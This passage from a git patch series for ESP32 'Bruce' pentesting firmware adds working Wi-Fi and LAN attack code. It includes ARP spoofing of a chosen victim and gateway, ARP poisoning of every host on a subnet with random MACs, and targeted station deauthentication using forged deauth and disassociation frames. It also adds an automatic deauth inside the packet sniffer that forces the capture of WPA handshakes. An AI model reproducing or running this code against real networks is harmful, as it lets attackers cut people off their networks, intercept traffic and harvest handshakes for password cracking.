   }
   if(!fs->exists("/BrucePCAP")) fs->mkdir("/BrucePCAP");
   while(fs->exists(String("/BrucePCAP/ARP_session_" + String(nf++) + ".pcap").c_str())) yield();
   pcapFile = fs->open(String("/BrucePCAP/ARP_session_" + String(nf) + ".pcap").c_str(), FILE_WRITE);
-  
+  if(pcapFile) return true;
+  else return false;
+}
+
+void arpSpoofing(const Host& host, bool mitm) {
+
+  uint8_t gatewayIP[4];// Gateway IP Address
+  uint8_t victimIP[4]; // Victim IP Address
+  uint8_t gatewayMAC[6] = {0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF}; 
+  uint8_t victimMAC[6] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66}; 
+  uint8_t myMAC[6];  // ESP32 MAC Address
+
+  File pcapFile;
+  if(!arpPCAPfile(pcapFile)) Serial.println("Fail creating ARP Pcap file");
   writeHeader(pcapFile); // write pcap header into the file
 
   // Get the MAC from the attacker (bruce MAC)
@@ -395,40 +317,38 @@ void arpSpoofing(const Host& host, bool mitm) {
 
   drawMainBorderWithTitle("ARP Spoofing");
   padprintln("");
+  padprintln("Single Target Attack.");
 
   if(mitm) {
     tft.setTextSize(FP);
-    padprintln("Man in The middle Activated");
-    padprintln("/BrucePCAP/ARP_session_" + String(nf) + ".pcap");
-    // Setup promiscuous mode
-    esp_wifi_set_promiscuous(true);
-    esp_wifi_set_promiscuous_rx_cb(mitmCallback);
-
-    Serial.println("Promiscuous Mode ACTIVATED, reading data to/BrucePCAP/ARP_session_" + String(nf) + ".pcap");
+    //padprintln("Man in The middle Activated");
+    //padprintln("/BrucePCAP/ARP_session_" + String(nf) + ".pcap");
+    Serial.println("Still in development");
   }
   padprintln("Tgt:" + host.mac);
+  padprintln("Tgt: " + ipToString(victimIP));
   padprintln("GTW:" + macToString(gatewayMAC));
   padprintln("");
   padprintln("Press Any key to STOP.");
 
 
   long tmp=0;
+  int count=0;
   while(!checkAnyKeyPress()) {
-    if(tmp+2000<millis()){  // sends frames every 5 seconds
-      // Enviar resposta ARP falsificada para a vítima (associando o IP do gateway ao MAC do atacante)
+    if(tmp+2000<millis()){  // sends frames every 2 seconds
+      // Sends false ARP response data to the victim (Gataway IP now sas our MAC Address)
       sendARPPacket(victimIP, victimMAC, gatewayIP, myMAC, pcapFile);
                 
-      // Enviar resposta ARP falsificada para o gateway (associando o IP da vítima ao MAC do atacante)
+      // Sends false ARP response data to the Gateway (Victim IP now has our MAC Address)
       sendARPPacket(gatewayIP, gatewayMAC, victimIP, myMAC, pcapFile);
       tmp=millis();
+      count++;
+      tft.drawRightString("Spoofed " + String(count) + " times",WIDTH-12,HEIGHT-16,1);
     }
   }
   
   if(mitm) {
-    // Configura o modo Promiscuous
-    esp_wifi_set_promiscuous(false);
-    esp_wifi_set_promiscuous_rx_cb(nullptr);
-
+    // Configures Promiscuous mode
     Serial.println("Promiscuous mode deactivated.");
   }
 
@@ -441,13 +361,19 @@ void arpSpoofing(const Host& host, bool mitm) {
 
 }
 
+// arp Poisoner sends ARP poisoned packets of all devices of the network
+// it can cause network issues, preventing the connections to work for a good time
+// make sure you know what you are doing.
 void arpPoisoner() {
   
-  uint8_t gatewayIP[4];
-  uint8_t victimIP[4]; // Endereço IP da vítima
-  uint8_t gatewayMAC[6];  // MAC do Gateway
-  uint8_t victimMAC[6];  // MAC da vítima
-
+  uint8_t gatewayIP[4];   // Gateway IP Address
+  uint8_t victimIP[4];    // Victim IP Address
+  uint8_t gatewayMAC[6];  // Gateway MAC
+  uint8_t victimMAC[6];   // Victim MAC
+  File pcapFile;
+  
+  if(!arpPCAPfile(pcapFile)) Serial.println("Fail creating ARP Pcap file");
+  
   for (int i = 0; i < 6; i++){
     gatewayMAC[i] = random(256);
     victimMAC[i] = random(256);
@@ -458,14 +384,17 @@ void arpPoisoner() {
     victimIP[i]=ip[i];
   }
   long tmp=0;
-    drawMainBorderWithTitle("ARP Poisoning");
+  drawMainBorderWithTitle("ARP Poisoning");
+  padprintln("");
+  padprintln("Sending ARP msg to all hosts");
   padprintln("");
 
+
   padprintln("Press Any key to STOP.");
 
 
   while(!checkAnyKeyPress()) {
-    if(tmp+2000<millis()){  // sends frames every 5 seconds
+    if(tmp+5000<millis()){  // sends frames every 5 seconds
       for(int i=1;i<255;i++) {
         victimIP[3]=i;
         // Sends random Gateway MAC to all devices in the network
@@ -474,9 +403,57 @@ void arpPoisoner() {
         // Sends Device random MACs back to gateway
         sendARPPacket(gatewayIP, gatewayMAC, victimIP, victimMAC, pcapFile);
 
-        delay(1); 
+        delay(10);
+        tft.drawRightString("   " + String(victimIP[0]) + "." + String(victimIP[1]) + "." + String(victimIP[2]) + "." + String(i), WIDTH-12,HEIGHT-16,1);
       }
       tmp=millis();
+      tft.drawRightString("     Waiting...",WIDTH-12,HEIGHT-16,1);
     }
   }
+  pcapFile.close();
+}
+
+
+
+// Station deauther for targetted attack.
+void stationDeauth(Host host) {
+  uint8_t MAC[6];
+  uint8_t gatewayMAC[6];
+  uint8_t victimIP[4];
+  for(int i=0;i<4;i++) victimIP[i]=host.ip[i];
+
+  esp_wifi_get_channel(&ap_record.primary, &ap_record.second);
+  memcpy(ap_record.bssid, WiFi.BSSID(), 6);
+
+  getGatewayMAC(gatewayMAC);
+  stringToMAC(host.mac.c_str(), MAC);
+  
+  // Prepare deauth frame for each AP record
+  memcpy(deauth_frame, deauth_frame_default, sizeof(deauth_frame_default));
+  wsl_bypasser_send_raw_frame(&ap_record,ap_record.primary,MAC);
+
+  drawMainBorderWithTitle("Station Deauth");
+  tft.setTextSize(FP);
+  padprintln("Trying to deauth one target.");
+  padprintln("Tgt:" + host.mac);
+  padprintln("Tgt: " + ipToString(victimIP));
+  padprintln("GTW:" + macToString(gatewayMAC));
+  padprintln("");
+  padprintln("Press Any key to STOP.");
+  
+  long tmp=millis();
+  int cont=0;
+  while(!checkAnyKeyPress()) {
+    send_raw_frame(deauth_frame, sizeof(deauth_frame_default));
+    cont+=3;
+    delay(50);
+    if(millis()-tmp>1000) {
+      tft.drawRightString(String(cont) + " fps", WIDTH-12,HEIGHT-16,1);
+      cont=0;
+      tmp=millis();
+    }
+  }
+
+  memcpy(deauth_frame, deauth_frame_default, sizeof(deauth_frame_default));
+
 }
\ No newline at end of file
diff --git a/src/modules/wifi/sniffer.cpp b/src/modules/wifi/sniffer.cpp
index 6687c5f1..f3e1f060 100644
--- a/src/modules/wifi/sniffer.cpp
+++ b/src/modules/wifi/sniffer.cpp
@@ -32,6 +32,7 @@
 	#include <SPI.h>
 	#include <SdFat.h>
 #endif
+#include "modules/wifi/wifi_atks.h" // to use deauth frames and cmds
 
 //===== SETTINGS =====//
 #define CHANNEL 1
@@ -322,13 +323,14 @@ void openFile(FS &Fs){
 //===== SETUP =====//
 void sniffer_setup() {
   FS* Fs;
-  drawMainBorder();
-  tft.setCursor(10, 26);
-  Serial.begin(115200);
-  //delay(2000);
-  Serial.println();
-  closeSdCard();
+  int redraw = true;
   String FileSys="LittleFS";
+  bool deauth=true;
+  bool deauth_tmp=0;
+  drawMainBorderWithTitle("RAW SNIFFER");
+
+  closeSdCard();
+  
   _only_HS=true; // default mode to start if it doesn't have SD Cadr
   if(setupSdCard()) {
     Fs = &SD; // if SD is present and mounted, start writing on SD Card
@@ -342,7 +344,7 @@ void sniffer_setup() {
   displaySomething("Sniffing Started");
   tft.setTextSize(FP);
   tft.setCursor(80, 100);
-  int redraw = true;
+  
   SavedHS.clear(); // Need to clear to restart HS count
   registeredBeacons.clear();
   /* setup wifi */
@@ -351,7 +353,23 @@ void sniffer_setup() {
   wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
   ESP_ERROR_CHECK( esp_wifi_init(&cfg) );
   ESP_ERROR_CHECK( esp_wifi_set_storage(WIFI_STORAGE_RAM) );
-  ESP_ERROR_CHECK( esp_wifi_set_mode(WIFI_MODE_AP) );
+
+  wifi_config_t wifi_config = {
+    .ap = {
+        .ssid = "BruceSniffer",
+        .password = "brucenet",
+        .ssid_len = strlen("BruceSniffer"),
+        .channel = 1,                      // Canal da rede (1-13)
+        .authmode = WIFI_AUTH_WPA2_PSK,    // Modo de autenticação
+        .ssid_hidden = 1,                  // 1 para ocultar o SSID, 0 para visível
+        .max_connection = 2,               // Máximo de conexões simultâneas
+        .beacon_interval = 100,            // Intervalo do beacon em ms
+    },
+  };
+
+  // Configura o modo AP
+  ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_AP));
+  ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &wifi_config));
   ESP_ERROR_CHECK( esp_wifi_start() );
   esp_wifi_set_promiscuous(true);
   esp_wifi_set_promiscuous_rx_cb(sniffer);
@@ -365,7 +383,9 @@ void sniffer_setup() {
   num_EAPOL=0;
   num_HS=0;
   packet_counter=0;
-
+  deauth_tmp=millis();
+  // Prepare deauth frame for each AP record
+  memcpy(deauth_frame, deauth_frame_default, sizeof(deauth_frame_default));
   for(;;) {
     if (returnToMenu) { // if it happpend, liffle FS is full;
       Serial.println("Not enough space on LittleFS");
@@ -438,6 +458,7 @@ void sniffer_setup() {
               openFile(*Fs); //open new file
             }
           }},
+          {deauth?"Deauth->OFF":"Deauth->ON",      [&]()    { deauth=!deauth; }},
           {_only_HS?"All packets":"EAPOL/HS only", [=]()    { _only_HS=!_only_HS; }},
           {"Reset Counter", [=]()    { packet_counter=0; num_EAPOL=0; num_HS=0; }},
           {"Exit Sniffer", [=]()    { returnToMenu=true; }},
@@ -447,21 +468,13 @@ void sniffer_setup() {
       if(returnToMenu) goto Exit;
       redraw = false;
       tft.drawPixel(0,0,0);
-      drawMainBorder(); // Clear Screen and redraw border
+      drawMainBorderWithTitle("RAW SNIFFER"); // Clear Screen and redraw border
       tft.setTextSize(FP);
       tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-      tft.setCursor(10, 30);
-      tft.println("RAW SNIFFER");
-      tft.setCursor(10, 30);
-      tft.println("RAW SNIFFER");
-      tft.setCursor(10, tft.getCursorY()+3);
-      tft.println("Saved file into " + FileSys);
-      tft.setCursor(10, tft.getCursorY()+3);
-      tft.println("File: " + filename);
-      tft.setCursor(10, tft.getCursorY()+10);
-      tft.println("Sniffer Mode: " + String(_only_HS?"Only EAPOL/HS":"All packets Sniff"));
-      tft.setCursor(10, tft.getCursorY()+10);
-      tft.println(String(BTN_ALIAS) + ": Options Menu");
+      padprint("Saved file into " + FileSys);
+      padprint("File: " + filename);
+      padprint("Sniffer Mode: " + String(_only_HS?"Only EAPOL/HS":"All packets Sniff"));
+      padprint(String(BTN_ALIAS) + ": Options Menu");
       tft.drawRightString("Ch." + String(ch<10?"0":"") + String(ch) + "(Next)",WIDTH-10, HEIGHT-18,1);
     }
 
@@ -474,6 +487,20 @@ void sniffer_setup() {
       tft.drawCentreString("Packets " + String(packet_counter),WIDTH/2, HEIGHT-26,1);
     }
 
+    if(deauth && (millis()-deauth_tmp)>60000) { // deauths once every 60 seconds
+      if(registeredBeacons.size()>40) registeredBeacons.clear(); // Clear registered beacons to restart search and avoid restarts
+      Serial.println("<<---- Starting Deauthentication Process ---->>");
+      for(auto registeredBeacon:registeredBeacons) {
+        if(registeredBeacon.channel==ch) {
+          memcpy(&ap_record.bssid,registeredBeacon.MAC, 6);
+          wsl_bypasser_send_raw_frame(&ap_record,registeredBeacon.channel); //writes the buffer with the information
+          send_raw_frame(deauth_frame,26);
+          delay(2);
+        }
+      }
+      deauth_tmp=millis();
+    }
+
     vTaskDelay(100/portTICK_PERIOD_MS);
   }
   Exit:
diff --git a/src/modules/wifi/wifi_atks.cpp b/src/modules/wifi/wifi_atks.cpp
index 90c9f39c..f1b963d1 100644
--- a/src/modules/wifi/wifi_atks.cpp
+++ b/src/modules/wifi/wifi_atks.cpp
@@ -51,7 +51,7 @@ void send_raw_frame(const uint8_t *frame_buffer, int size)
 ** function: wsl_bypasser_send_raw_frame
 ** @brief: prepare the frame to deploy the attack
 ***************************************************************************************/
-void wsl_bypasser_send_raw_frame(const wifi_ap_record_t *ap_record, uint8_t chan)
+void wsl_bypasser_send_raw_frame(const wifi_ap_record_t *ap_record, uint8_t chan, uint8_t target[6])
 {
   Serial.begin(115200);
   Serial.print("\nPreparing deauth frame to -> ");
@@ -65,6 +65,7 @@ void wsl_bypasser_send_raw_frame(const wifi_ap_record_t *ap_record, uint8_t chan
   err = esp_wifi_set_channel(chan, WIFI_SECOND_CHAN_NONE);
   if(err!= ESP_OK) Serial.println("Error changing channel");
   delay(50);
+  memcpy(&deauth_frame[4] , target          , 6); // Client MAC Address for Station Deauth
   memcpy(&deauth_frame[10], ap_record->bssid, 6);
   memcpy(&deauth_frame[16], ap_record->bssid, 6);
 }
@@ -180,7 +181,7 @@ void deauthFloodAttack()
   uint32_t rescan_counter = millis();
   uint16_t count = 0;
   uint8_t channel=0;
-  drawMainBorder(true);
+  drawMainBorderWithTitle("Deauth Flood");
   while (true)
   {
     for (const auto &record : ap_records)
@@ -197,13 +198,13 @@ void deauthFloodAttack()
     // Update counter every 2 seconds
     if (millis() - lastTime > 2000)
     {
-      tft.setCursor(10, 28);
-      tft.setTextColor(bruceConfig.priColor,bruceConfig.bgColor);
-      tft.println("Deauth Flood");
+      drawMainBorderWithTitle("Deauth Flood");
       tft.setCursor(10, HEIGHT - 25);
       tft.print("Frames:               ");
       tft.setCursor(10, HEIGHT - 25);
       tft.println("Frames: " + String(count / 2) + "/s   ");
+      tft.setCursor(10, HEIGHT - 45);
+      tft.println("Channel " + String(channel) + "    ");
       count = 0;
       lastTime = millis();
     }
@@ -277,13 +278,12 @@ void target_atk(String tssid, String mac, uint8_t channel)
     if (redraw)
     {
       // desenhar a tela
-      drawMainBorder();
-      tft.setTextColor(TFT_RED,bruceConfig.bgColor);
-      tft.drawCentreString("Target Deauth", tft.width() / 2, 28, SMOOTH_FONT);
+      drawMainBorderWithTitle("Target Deauth");
       tft.setTextColor(bruceConfig.priColor,bruceConfig.bgColor);
-      tft.drawString("AP: " + tssid, 15, 48);
-      tft.drawString("Channel: " + String(channel), 15, 66);
-      tft.drawString(mac, 15, 84);
+      padprintln("");
+      padprintln("AP: " + tssid);
+      padprintln("Channel: " + String(channel));
+      padprintln(mac);
       delay(50);
       redraw = false;
     }
diff --git a/src/modules/wifi/wifi_atks.h b/src/modules/wifi/wifi_atks.h
index 1b498e91..a85d9427 100644
--- a/src/modules/wifi/wifi_atks.h
+++ b/src/modules/wifi/wifi_atks.h
@@ -19,7 +19,8 @@ extern uint8_t deauth_frame[]; // 26 = [sizeof(deauth_frame_default[])]
  * @param frame_buffer
  * @param size size of frame buffer
  */
-void wsl_bypasser_send_raw_frame(const wifi_ap_record_t *ap_record, uint8_t chan);
+static const uint8_t _default_target[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
+void wsl_bypasser_send_raw_frame(const wifi_ap_record_t *ap_record, uint8_t chan, const uint8_t target[6]=_default_target);
 
 /**
  * @brief Sends deauthentication frame with forged source AP from given ap_record

From 0296125e5d4c44f333bca615f4d66325b0039d33 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Thu, 12 Dec 2024 03:33:58 -0300
Subject: [PATCH 7/9] fixing foxing

---
 src/modules/wifi/scan_hosts.h  |  4 +++-
 src/modules/wifi/sniffer.cpp   | 30 ++++++++++++++----------------
 src/modules/wifi/wifi_atks.cpp |  2 +-
 3 files changed, 18 insertions(+), 18 deletions(-)

diff --git a/src/modules/wifi/scan_hosts.h b/src/modules/wifi/scan_hosts.h
index 7ec74b5a..7a6bf848 100644
--- a/src/modules/wifi/scan_hosts.h
+++ b/src/modules/wifi/scan_hosts.h
@@ -33,4 +33,6 @@ void sendARPPacket(uint8_t *targetIP, uint8_t *targetMAC, uint8_t *spoofedIP, ui
 
 void arpSpoofing(const Host& host, bool mitm);
 
-void arpPoisoner();
\ No newline at end of file
+void arpPoisoner();
+
+void stationDeauth(Host host);
\ No newline at end of file
diff --git a/src/modules/wifi/sniffer.cpp b/src/modules/wifi/sniffer.cpp
index f3e1f060..1e16723d 100644
--- a/src/modules/wifi/sniffer.cpp
+++ b/src/modules/wifi/sniffer.cpp
@@ -354,18 +354,15 @@ void sniffer_setup() {
   ESP_ERROR_CHECK( esp_wifi_init(&cfg) );
   ESP_ERROR_CHECK( esp_wifi_set_storage(WIFI_STORAGE_RAM) );
 
-  wifi_config_t wifi_config = {
-    .ap = {
-        .ssid = "BruceSniffer",
-        .password = "brucenet",
-        .ssid_len = strlen("BruceSniffer"),
-        .channel = 1,                      // Canal da rede (1-13)
-        .authmode = WIFI_AUTH_WPA2_PSK,    // Modo de autenticação
-        .ssid_hidden = 1,                  // 1 para ocultar o SSID, 0 para visível
-        .max_connection = 2,               // Máximo de conexões simultâneas
-        .beacon_interval = 100,            // Intervalo do beacon em ms
-    },
-  };
+  wifi_config_t wifi_config;
+  strcpy((char *)wifi_config.ap.ssid, "BruceSniffer");
+  strcpy((char *)wifi_config.ap.password, "brucenet");
+  wifi_config.ap.ssid_len = strlen("BruceSniffer");
+  wifi_config.ap.channel = 1;                      // Channel
+  wifi_config.ap.authmode = WIFI_AUTH_WPA2_PSK;    // auth mode
+  wifi_config.ap.ssid_hidden = 1;                  // 1 to hidden SSID, 0 to visivle
+  wifi_config.ap.max_connection = 2;               // Max connections
+  wifi_config.ap.beacon_interval = 100;            // beacon interval in ms
 
   // Configura o modo AP
   ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_AP));
@@ -471,10 +468,11 @@ void sniffer_setup() {
       drawMainBorderWithTitle("RAW SNIFFER"); // Clear Screen and redraw border
       tft.setTextSize(FP);
       tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-      padprint("Saved file into " + FileSys);
-      padprint("File: " + filename);
-      padprint("Sniffer Mode: " + String(_only_HS?"Only EAPOL/HS":"All packets Sniff"));
-      padprint(String(BTN_ALIAS) + ": Options Menu");
+      padprintln("Saved file into " + FileSys);
+      padprintln("File: " + filename);
+      padprintln("Sniffer Mode: " + String(_only_HS?"Only EAPOL/HS":"All packets Sniff"));
+      padprintln("Deauth: " + deauth?"ON":"OFF");
+      padprintln(String(BTN_ALIAS) + ": Options Menu");
       tft.drawRightString("Ch." + String(ch<10?"0":"") + String(ch) + "(Next)",WIDTH-10, HEIGHT-18,1);
     }
 
diff --git a/src/modules/wifi/wifi_atks.cpp b/src/modules/wifi/wifi_atks.cpp
index f1b963d1..d4c0d61f 100644
--- a/src/modules/wifi/wifi_atks.cpp
+++ b/src/modules/wifi/wifi_atks.cpp
@@ -51,7 +51,7 @@ void send_raw_frame(const uint8_t *frame_buffer, int size)
 ** function: wsl_bypasser_send_raw_frame
 ** @brief: prepare the frame to deploy the attack
 ***************************************************************************************/
-void wsl_bypasser_send_raw_frame(const wifi_ap_record_t *ap_record, uint8_t chan, uint8_t target[6])
+void wsl_bypasser_send_raw_frame(const wifi_ap_record_t *ap_record, uint8_t chan, const uint8_t target[6])
 {
   Serial.begin(115200);
   Serial.print("\nPreparing deauth frame to -> ");

From b28e38f5426708d2fad131b210f40857a8b91b44 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Thu, 12 Dec 2024 05:03:56 -0300
Subject: [PATCH 8/9] deauth

---
 src/modules/wifi/scan_hosts.cpp | 22 +++++++++++++++++-----
 src/modules/wifi/sniffer.cpp    |  2 +-
 2 files changed, 18 insertions(+), 6 deletions(-)

diff --git a/src/modules/wifi/scan_hosts.cpp b/src/modules/wifi/scan_hosts.cpp
index 8367b375..7c53a457 100644
--- a/src/modules/wifi/scan_hosts.cpp
+++ b/src/modules/wifi/scan_hosts.cpp
@@ -102,13 +102,14 @@ void afterScanOptions(const Host& host) {
   #ifndef LITE_VERSION
     {"SSH Connect",     [=](){ ssh_setup(host.ip.toString()); }},
   #endif
-    {"Station Deauth",  [=](){ stationDeauth(host); }},
+    {"Station Deauth",  [&](){ opt=3; }},
     {"ARP Spoofing",    [=](){ arpSpoofing(host, false); }},
     {"ARP Poisoning",   [=](){ arpPoisoner(); }},
   };
   //if(sdcardMounted && bruceConfig.devMode) options.push_back({"ARP MITM (WIP)",  [&](){ opt=5;  }});
   loopOptions(options);
   delay(200);
+  if(opt==3) stationDeauth(host);
   if(opt==5)  { 
     Serial.println("Starting MITM");
     arpSpoofing(host, true);
@@ -421,11 +422,22 @@ void stationDeauth(Host host) {
   uint8_t gatewayMAC[6];
   uint8_t victimIP[4];
   for(int i=0;i<4;i++) victimIP[i]=host.ip[i];
-
+  String tssid = WiFi.SSID();
+  int channel;
+  getGatewayMAC(gatewayMAC);
   esp_wifi_get_channel(&ap_record.primary, &ap_record.second);
-  memcpy(ap_record.bssid, WiFi.BSSID(), 6);
+  channel = ap_record.primary;
+  //wifiDisconnect();
+  //delay(10);
+  WiFi.mode(WIFI_AP);
+  if (!WiFi.softAP(tssid, emptyString, channel, 1, 4, false)) {
+    Serial.println("Fail Starting AP Mode");
+    displayError("Fail starting Deauth",true);
+    return;    
+  }
+
+  memcpy(ap_record.bssid, gatewayMAC, 6);
 
-  getGatewayMAC(gatewayMAC);
   stringToMAC(host.mac.c_str(), MAC);
   
   // Prepare deauth frame for each AP record
@@ -455,5 +467,5 @@ void stationDeauth(Host host) {
   }
 
   memcpy(deauth_frame, deauth_frame_default, sizeof(deauth_frame_default));
-
+  wifiDisconnect();
 }
\ No newline at end of file
diff --git a/src/modules/wifi/sniffer.cpp b/src/modules/wifi/sniffer.cpp
index 1e16723d..856579f4 100644
--- a/src/modules/wifi/sniffer.cpp
+++ b/src/modules/wifi/sniffer.cpp
@@ -471,7 +471,7 @@ void sniffer_setup() {
       padprintln("Saved file into " + FileSys);
       padprintln("File: " + filename);
       padprintln("Sniffer Mode: " + String(_only_HS?"Only EAPOL/HS":"All packets Sniff"));
-      padprintln("Deauth: " + deauth?"ON":"OFF");
+      padprint("Deauth: "); padprintln(deauth?"ON":"OFF");
       padprintln(String(BTN_ALIAS) + ": Options Menu");
       tft.drawRightString("Ch." + String(ch<10?"0":"") + String(ch) + "(Next)",WIDTH-10, HEIGHT-18,1);
     }

From e300ce2954ddf9e9d9d9702be9c3e911b672cd0a Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Thu, 12 Dec 2024 05:42:32 -0300
Subject: [PATCH 9/9] packets

---
 src/modules/wifi/scan_hosts.cpp | 24 +++++++++++++++++++-----
 src/modules/wifi/wifi_atks.cpp  | 10 +++++++++-
 2 files changed, 28 insertions(+), 6 deletions(-)

diff --git a/src/modules/wifi/scan_hosts.cpp b/src/modules/wifi/scan_hosts.cpp
index 7c53a457..fa53ff0d 100644
--- a/src/modules/wifi/scan_hosts.cpp
+++ b/src/modules/wifi/scan_hosts.cpp
@@ -421,14 +421,15 @@ void stationDeauth(Host host) {
   uint8_t MAC[6];
   uint8_t gatewayMAC[6];
   uint8_t victimIP[4];
+  wifi_ap_record_t sta_record;
   for(int i=0;i<4;i++) victimIP[i]=host.ip[i];
   String tssid = WiFi.SSID();
   int channel;
   getGatewayMAC(gatewayMAC);
   esp_wifi_get_channel(&ap_record.primary, &ap_record.second);
   channel = ap_record.primary;
-  //wifiDisconnect();
-  //delay(10);
+  wifiDisconnect();
+  delay(10);
   WiFi.mode(WIFI_AP);
   if (!WiFi.softAP(tssid, emptyString, channel, 1, 4, false)) {
     Serial.println("Fail Starting AP Mode");
@@ -437,12 +438,11 @@ void stationDeauth(Host host) {
   }
 
   memcpy(ap_record.bssid, gatewayMAC, 6);
-
   stringToMAC(host.mac.c_str(), MAC);
+  memcpy(sta_record.bssid, MAC, 6);
   
   // Prepare deauth frame for each AP record
   memcpy(deauth_frame, deauth_frame_default, sizeof(deauth_frame_default));
-  wsl_bypasser_send_raw_frame(&ap_record,ap_record.primary,MAC);
 
   drawMainBorderWithTitle("Station Deauth");
   tft.setTextSize(FP);
@@ -456,8 +456,22 @@ void stationDeauth(Host host) {
   long tmp=millis();
   int cont=0;
   while(!checkAnyKeyPress()) {
+    // Send packets from AP to STA 
+    wsl_bypasser_send_raw_frame(&ap_record,ap_record.primary,MAC);
+    deauth_frame[0]=0xc0; // Deauth Frame
+    send_raw_frame(deauth_frame, sizeof(deauth_frame_default));
+    deauth_frame[0]=0xa0; // Disassociate Frame
+    send_raw_frame(deauth_frame, sizeof(deauth_frame_default));
+
+    // Send packets from STA to AP
+    wsl_bypasser_send_raw_frame(&sta_record,ap_record.primary,gatewayMAC);
+    deauth_frame[0]=0xc0; // Deauth Frame
+    send_raw_frame(deauth_frame, sizeof(deauth_frame_default));
+    deauth_frame[0]=0xa0; // Disassociate Frame
     send_raw_frame(deauth_frame, sizeof(deauth_frame_default));
-    cont+=3;
+
+
+    cont+=3*4;
     delay(50);
     if(millis()-tmp>1000) {
       tft.drawRightString(String(cont) + " fps", WIDTH-12,HEIGHT-16,1);
diff --git a/src/modules/wifi/wifi_atks.cpp b/src/modules/wifi/wifi_atks.cpp
index d4c0d61f..727b4a4c 100644
--- a/src/modules/wifi/wifi_atks.cpp
+++ b/src/modules/wifi/wifi_atks.cpp
@@ -54,13 +54,21 @@ void send_raw_frame(const uint8_t *frame_buffer, int size)
 void wsl_bypasser_send_raw_frame(const wifi_ap_record_t *ap_record, uint8_t chan, const uint8_t target[6])
 {
   Serial.begin(115200);
-  Serial.print("\nPreparing deauth frame to -> ");
+  Serial.print("\nPreparing deauth frame to AP -> ");
   for (int j = 0; j < 6; j++)
   {
     Serial.print(ap_record->bssid[j], HEX);
     if (j < 5)
       Serial.print(":");
   }
+  Serial.print(" and Tgt: ");
+    for (int j = 0; j < 6; j++)
+  {
+    Serial.print(target[j], HEX);
+    if (j < 5)
+      Serial.print(":");
+  }
+
   esp_err_t err;
   err = esp_wifi_set_channel(chan, WIFI_SECOND_CHAN_NONE);
   if(err!= ESP_OK) Serial.println("Error changing channel");